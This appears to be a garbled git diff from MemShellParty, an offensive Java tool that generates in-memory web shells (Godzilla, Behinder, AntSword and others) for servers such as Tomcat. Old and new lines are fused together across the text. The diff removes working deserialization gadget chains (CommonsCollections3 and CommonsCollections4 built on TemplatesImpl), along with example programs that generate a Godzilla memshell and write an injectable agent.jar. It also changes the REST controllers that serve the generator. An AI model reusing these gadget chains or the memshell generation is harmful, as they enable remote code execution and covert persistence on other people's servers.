@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@RequestMapping("/servers")
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
}
return servers;
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
}
@RequestMapping @RequestMapping
public Map<String, Map<?, ?>> config() { public ResponseEntity<?> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16); Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) { for (Server value : Server.values()) {
AbstractShell shell = value.getShell(); AbstractShell shell = value.getShell();
if (shell == null) { if (shell == null) {
continue; continue;
} }
ShellTool[] supportedShellTools = ShellTool.values();
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : shell.getSupportedShellTools()) { for (ShellTool shellTool : supportedShellTools) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
@@ -56,6 +40,19 @@ public class ConfigController {
} }
coreMap.put(value.name(), map); coreMap.put(value.name(), map);
} }
return coreMap; Config config = new Config();
config.setServers(
Arrays.stream(Server.values())
.filter(s -> s.getShell() != null)
.map(Server::name)
.collect(Collectors.toList())
);
config.setCore(coreMap);
config.setPackers(
Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList()
);
return ResponseEntity.ok(config);
} }
} }
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.boot.dto.GenerateRequest; import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse; import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -10,6 +10,7 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker; import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker; import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -23,18 +24,18 @@ import java.util.Base64;
@CrossOrigin("*") @CrossOrigin("*")
public class GeneratorController { public class GeneratorController {
@PostMapping @PostMapping
public GenerateResponse generate(@RequestBody GenerateRequest request) { public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig(); ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))); return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
} else if (packer instanceof AggregatePacker) { } else if (packer instanceof AggregatePacker) {
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)); return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
} else { } else {
return new GenerateResponse(generateResult, packer.pack(generateResult)); return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
} }
} }
} }
@@ -1,20 +1,10 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.VersionInfo;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import org.thymeleaf.util.StringUtils;
import java.util.List;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -26,66 +16,10 @@ import java.util.Map;
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
private String version; String version;
private final RestTemplate restTemplate;
public VersionController(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
@GetMapping @GetMapping
public VersionInfo version() { public String version() {
if (version.endsWith("-SNAPSHOT")) {
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(version).build();
}
String latestVersion = getLatestGithubRelease();
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(latestVersion)
.hasUpdate(!StringUtils.equals(version, latestVersion))
.build();
}
private String getLatestGithubRelease() {
try {
String latestVersion = tryFetchRelease("https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
} catch (Exception ignored) {
}
return version; return version;
} }
private String tryFetchRelease(String baseUrl) {
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
apiUrl,
HttpMethod.GET,
null,
new ParameterizedTypeReference<>() {
}
);
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
List<Map<String, Object>> body = response.getBody();
for (Map<String, Object> map : body) {
String targetCommitish = (String) map.get("target_commitish");
Boolean prerelease = (Boolean) map.get("prerelease");
Boolean draft = (Boolean) map.get("draft");
if ("master".equals(targetCommitish) && !prerelease && !draft) {
String tagName = (String) map.get("name");
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
}
}
}
return null;
}
} }
@@ -1,10 +1,8 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.Packers;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -27,47 +25,37 @@ public class GenerateRequest {
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
private String headerValue; private String headerValue;
private String shellClassBase64;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
return switch (shellConfig.getShellTool()) { return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder() case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getGodzillaPass())
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8))) .key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Behinder -> BehinderConfig.builder() case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(shellToolConfig.getCommandParamName())
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case AntSword -> AntSwordConfig.builder() case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
@@ -11,7 +11,7 @@ import java.util.Map;
*/ */
@Data @Data
public class Config { public class Config {
private Map<String, List<String>> servers; private List<String> servers;
private Map<String, Map<?, ?>> core; private Map<String, Map<?, ?>> core;
private List<String> packers; private List<String> packers;
} }
@@ -1,15 +0,0 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
/**
* @author ReaJason
*/
@Data
@Builder
public class VersionInfo {
private String currentVersion;
private String latestVersion;
private boolean hasUpdate;
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
@@ -7,9 +8,6 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -26,31 +24,14 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody(); Config config = response.getBody();
assertNotNull(body); assertNotNull(config);
} assertNotNull(config.getServers());
assertNotNull(config.getCore());
@Test assertNotNull(config.getPackers());
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody();
assertNotNull(body);
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
List<String> body = response.getBody();
assertNotNull(body);
} }
} }
+7 -75
View File
@@ -1,64 +1,15 @@
import com.vanniktech.maven.publish.SonatypeHost version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
version = '1.7.0'
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
}
}
allprojects { allprojects {
group = 'io.github.reajason' if (it.name != 'bom') {
if (it.name != 'memshell-party-bom') {
apply(plugin: 'java') apply(plugin: 'java')
apply(plugin: 'idea') apply(plugin: 'idea')
apply(plugin: 'jacoco') apply(plugin: 'jacoco')
apply(plugin: 'io.freefair.lombok')
} }
apply(plugin: 'com.vanniktech.maven.publish') if (it.name != 'bom' && !it.name.startsWith("vul")) {
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates("io.github.reajason", project.name, rootProject.version as String)
pom {
name = 'MemShellParty'
description = project.description
url = 'https://github.com/ReaJason/MemShellParty'
inceptionYear = '2025'
licenses {
license {
name = 'MIT'
url = 'https://spdx.org/licenses/MIT.html'
}
}
developers {
developer {
id = 'reajason'
name = 'ReaJason'
url = "https://reajason.eu.org"
}
}
scm {
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
url = 'https://github.com/ReaJason/MemShellParty'
}
}
}
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
dependencies { dependencies {
implementation platform(project(':memshell-party-bom')) implementation platform(project(':bom'))
} }
} }
@@ -89,31 +40,12 @@ jacocoTestReport {
classDirectories.from( classDirectories.from(
fileTree('generator/build/classes/java/main') { fileTree('generator/build/classes/java/main') {
excludes = [ excludes = [
'com/reajason/javaweb/memshell/**/godzilla/**', 'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**', 'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**', 'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**' 'com/reajason/javaweb/config/**'
] ]
} }
) )
} }
} }
tasks.register('publishAllToMavenCentral') {
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
if (isSnapshot) {
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
} else {
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
dependsOn ':memshell:publishAndReleaseToMavenCentral'
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
dependsOn ':generator:publishAndReleaseToMavenCentral'
}
}
@@ -1,5 +1,8 @@
group = 'io.github.reajason' plugins {
description = "Common Utilities for MemShellParty" id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version version = rootProject.version
java { java {
@@ -9,7 +12,6 @@ java {
dependencies { dependencies {
implementation 'net.bytebuddy:byte-buddy' implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'commons-io:commons-io' implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3' implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec' implementation 'commons-codec:commons-codec'
@@ -13,7 +13,7 @@ public class ClassBytesShrink {
public static byte[] shrink(byte[] bytes, boolean full) { public static byte[] shrink(byte[] bytes, boolean full) {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); ClassWriter cw = new ClassWriter(0);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override @Override
public void visitSource(String source, String debug) { public void visitSource(String source, String debug) {
File diff suppressed because one or more lines are too long
+6 -6
View File
@@ -1,15 +1,15 @@
group = 'io.github.reajason' plugins {
description = "Java deserialize payload for MemShellParty" id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version version = rootProject.version
dependencies { dependencies {
implementation project(":memshell-party-common")
implementation 'net.bytebuddy:byte-buddy' implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66' implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.2' implementation 'commons-beanutils:commons-beanutils:1.9.4'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom') testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter' testImplementation 'org.junit.jupiter:junit-jupiter'
@@ -1,7 +1,10 @@
package com.reajason.javaweb.deserialize; package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine; import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.*; import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter; import lombok.Getter;
/** /**
@@ -18,12 +21,6 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()), CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()), CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/** /**
* Hessian XSLT write * Hessian XSLT write
*/ */
@@ -1,13 +1,12 @@
package com.reajason.javaweb.deserialize; package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.deserialize.utils.Reflections; import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/** /**
* @author ReaJason * @author ReaJason
@@ -21,7 +20,6 @@ public class TemplateUtils {
byte[] fooBytes; byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy() try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo") .subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) { .make()) {
fooBytes = make.getBytes(); fooBytes = make.getBytes();
} }
@@ -1,43 +0,0 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
*
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections3 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
}
}
@@ -1,39 +0,0 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections4 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return queue;
}
}
@@ -1,25 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.reajason.javaweb.maven</groupId>
<artifactId>memshell-party-maven-example</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.0.4</version>
</dependency>
</dependencies>
</project>
@@ -1,50 +0,0 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class Godzilla {
public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
}
}
@@ -1,52 +0,0 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class GodzillaAgent {
public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
+11 -22
View File
@@ -1,3 +1,7 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
java { java {
toolchain { toolchain {
languageVersion = JavaLanguageVersion.of(8) languageVersion = JavaLanguageVersion.of(8)
@@ -6,49 +10,35 @@ java {
targetCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8
} }
group = 'io.github.reajason' group = 'com.reajason.javaweb.memsell'
description = "MemShell Generator for Java"
version = rootProject.version version = rootProject.version
// 测试使用 JDK17 进行编译与运行
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test { test {
useJUnitPlatform() useJUnitPlatform()
finalizedBy jacocoTestReport finalizedBy jacocoTestReport
} }
dependencies { dependencies {
implementation project(":memshell-party-common") implementation project(":common")
implementation project(":deserialize") implementation project(":deserialize")
implementation project(":memshell") implementation project(":memshell")
implementation project(":memshell-java8") implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy' implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'javax.servlet:javax.servlet-api' implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api' implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api'
// implementation 'xalan:xalan'
implementation 'org.apache.bcel:bcel' implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io' implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3' implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp' implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic' implementation 'ch.qos.logback:logback-classic'
implementation 'com.fasterxml.jackson.core:jackson-databind' implementation 'com.alibaba.fastjson2:fastjson2'
// implementation 'org.java-websocket:Java-WebSocket'
